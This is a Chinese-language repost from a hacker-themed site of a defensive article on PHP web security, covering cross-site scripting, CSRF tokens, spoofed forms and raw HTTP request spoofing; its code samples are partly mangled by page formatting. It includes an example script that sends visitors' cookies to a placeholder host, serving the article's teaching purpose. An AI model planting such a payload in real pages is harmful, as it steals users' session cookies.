黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客安全 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]PHP开发安全浅谈
      ★★★★★

PHP开发安全浅谈

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-23 10:16:20


==跨站脚本攻击

    所有有输入的应用都面临着风险。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
    以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:

<form action="./comment.php" method="POST" />
     <
p>Name: <input type="text" name="name" /><br 
/>
     
Comment: <textarea name="comment" rows="10" cols="60">textarea><br />
     <
input type="submit" value="Add Comment" />p>
     form>

    程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):
php
     
echo "

$name writes:";
     echo 
"

$comment

"
;
     
?>

    这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:
<script>
     
document.location 
=
     
'http://a.abc.net/s.php?cookies=' 
+
     
document.
cookie
     

    如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到a.abc.net,而接收程序(s.php)可以通过$_GET['cookies']变量防问所有的cookies。
    这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如第一章所述的过滤输入及转义输出即可
    最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。

==跨站请求伪造

    跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意HTTP请求的一类攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。事实上,如果没有对跨站请求伪造攻击进行特意防范的话,你的应用很有可能是有漏洞的。
    你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用POST方式而不是使用GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要求得方便与风险之间的平衡)。
    任何需要进行操作的表单都要使用POST方式。在RFC 2616(HTTP/1.1传送协议,译注)的9.1.1小节中有一段描述:
    “特别需要指出的是,习惯上GET与HEAD方式不应该用于引发一个操作,而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊的方式,如POST,PUT或DELETE方式来使用户意识到正在请求进行的操作可能是不安全的。”
    最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交的数据看起来象是你表单的提交结果,但如果用户并不是在最近调用的表单,这就比较可疑了。请看下面对前例应用更改后的代码:
php      session_start();
     
$token md5(uniqid(rand(), TRUE
));
     
$_SESSION['token'] = $token
;
     
$_SESSION['token_time'] = time
();
     
?>
     
     
     


     Item:
     
     pen
     pencil
     
     Quantity: 
     
     


     

    通过这些简单的修改,一个跨站请求伪造攻击就必须包括一个合法的验证码以完全模仿表单提交。由于验证码的保存在用户的session中的,攻击者必须对每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何攻击,它要求攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一个用户的请求是无效的。   该验证码可以简单地通过一个条件表达式来进行检查:
php      if (isset($_SESSION['token']) &&
         
$_POST['token'] == $_SESSION['token'
])
     {
     }
     
?>

你还能对验证码加上一个有效时间限制,如5分钟:
php      $token_age time() - $_SESSION['token_time'];      if ($token_age <= 300)
     {
     }
     
?>

    通过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造攻击的风险。可以在任何需要执行操作的任何表单中使用这个流程。
    尽管我使用img标签描述了攻击方法,但跨站请求伪造攻击只是一个总称,它是指所有攻击者通过伪造他人的HTTP请求进行攻击的类型。已知的攻击方法同时包括对GET和POST的攻击,所以不要认为只要严格地只使用POST方式就行了。

==欺骗表单提交

    制造一个欺骗表单几乎与假造一个URL一样简单。毕竟,表单的提交只是浏览器发出的一个HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户。
    大多数表单用一个相对URL地址来指定action属性:
<form action="./pr.php" method="POST">

    当表单提交时,浏览器会请求action中指定的URL,同时它使用当前的URL地址来定位相对URL。则在用户提交表单后会请求URL地址http://abc.net/pr.php
    知道了这一点,很容易就能想到你可以指定一个绝对地址,这样表单就可以放在任何地方了:
<form action="http://abc.net/pr.php" method="POST">

    这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生的提交是相同的。意识到这一点,攻击者可以通过查看页面源文件并保存在他的服务器上,同时将action更改为绝对URL地址。通过使用这些手段,攻击者可以任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段的值,或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器提交任何数据,同时由于这个过程非常简便易行,攻击者无需是一个专家即可做到。
    欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过这你不需要担心。一旦你正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。

==HTTP请求欺骗

    一个比欺骗表单更高级和复杂的攻击方式是HTTP请求欺骗。这给了攻击者完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。
    请看下面位于http://abc.net/form.php的表单:
<form action="process.php" method="POST">
     <
p>Please select a color
:
     <
select name="color"
>
     <
option value="red">Redoption>
     <
option value="green">Greenoption>
     <
option value="blue">Blueoption>
     select><br 
/>
     <
input type="submit" value="Select" />p>
     form>

    如果用户选择了Red并点击了Select按钮后,浏览器会发出下面的HTTP请求:
POST /process.php HTTP/1.1
     Host
abc.
net
     User
-AgentMozilla/5.0 (X11ULinux i686
)
     
Refererhttp:
//abc.net/form.php
     
Content-Typeapplication/x-www-form-
urlencoded
     Content
-Length9      color=
red
.

    看到大多数浏览器会包含一个来源的URL值,你可能会试图使用$_SERVER['HTTP_REFERER']变量去防止欺骗。确实,这可以用于对付利用标准浏览器发起的攻击,但攻击者是不会被这个小麻烦给挡住的。通过编辑HTTP请求的原始信息,攻击者可以完全控制HTTP头部的值,GET和POST的数据,以及所有在HTTP请求的内容。
    攻击者如何更改原始的HTTP请求?过程非常简单。通过在大多数系统平台上都提供的Telnet实用程序,你就可以通过连接网站服务器的侦听端口(典型的端口为80)来与Web服务器直接通信。下面就是使用这个技巧请求http://abc.net/页面的例子:
telnet abc.net 80
     Trying 192.0.34.166
...
     
Connected to abc.net (192.0.34.166
).
     
Escape character is '^]'
.
     
GET HTTP/
1.1
     Host
abc.net      HTTP/
1.1 200 OK
     Date
Sat21 May 2005 12:34:
56 GMT
     Server
Apache/1.3.31 (Unix
)
     
Accept-Ranges
bytes
     Content
-Length
410
     Connection
close
     Content
-Typetext/html      <html
>
     <
head
>
     <
title>abc.nettitle>
     head
>
     <
body
>
     <
p>You have reached this web page by typing "example.com"
,
     
"example.net", or "example.org" into your web browser.p>
     <
p>These domain names are reserved for use in documentation and 
are not
     available 
for registration
See
     
<a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'
>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606, Section
     3.


     
           Connection closed by foreign host.
     $

    所显示的请求是符合HTTP/1.1规范的最简单的请求,这是因为Host信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符,整个HTML的回应即显示在屏幕上。
    Telnet实用程序不是与Web服务器直接通信的唯一方法,但它常常是最方便的。可是如果你用PHP编码同样的请求,你可以就可以实现自动操作了。前面的请求可以用下面的PHP代码实现:
php
     $http_response 
''
;
     
$fp fsockopen('abc.net'80
);
     
fputs($fp"GET / HTTP/1.1"
);
     
fputs($fp"Host: abc.net"
);
     while (!
feof($fp
))
     {
     
$http_response .= fgets($fp128
);
     }
     
fclose($fp
);
     echo 
nl2br(htmlentities($http_responseENT_QUOTES'UTF-8'
));
     
?>


    当然,还有很多方法去达到上面的目的,但其要点是HTTP是一个广为人知的标准协议,一般攻击者都会对它非常熟悉,并且对常见的安全漏洞的攻击方法也很熟悉。

上一页  [1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886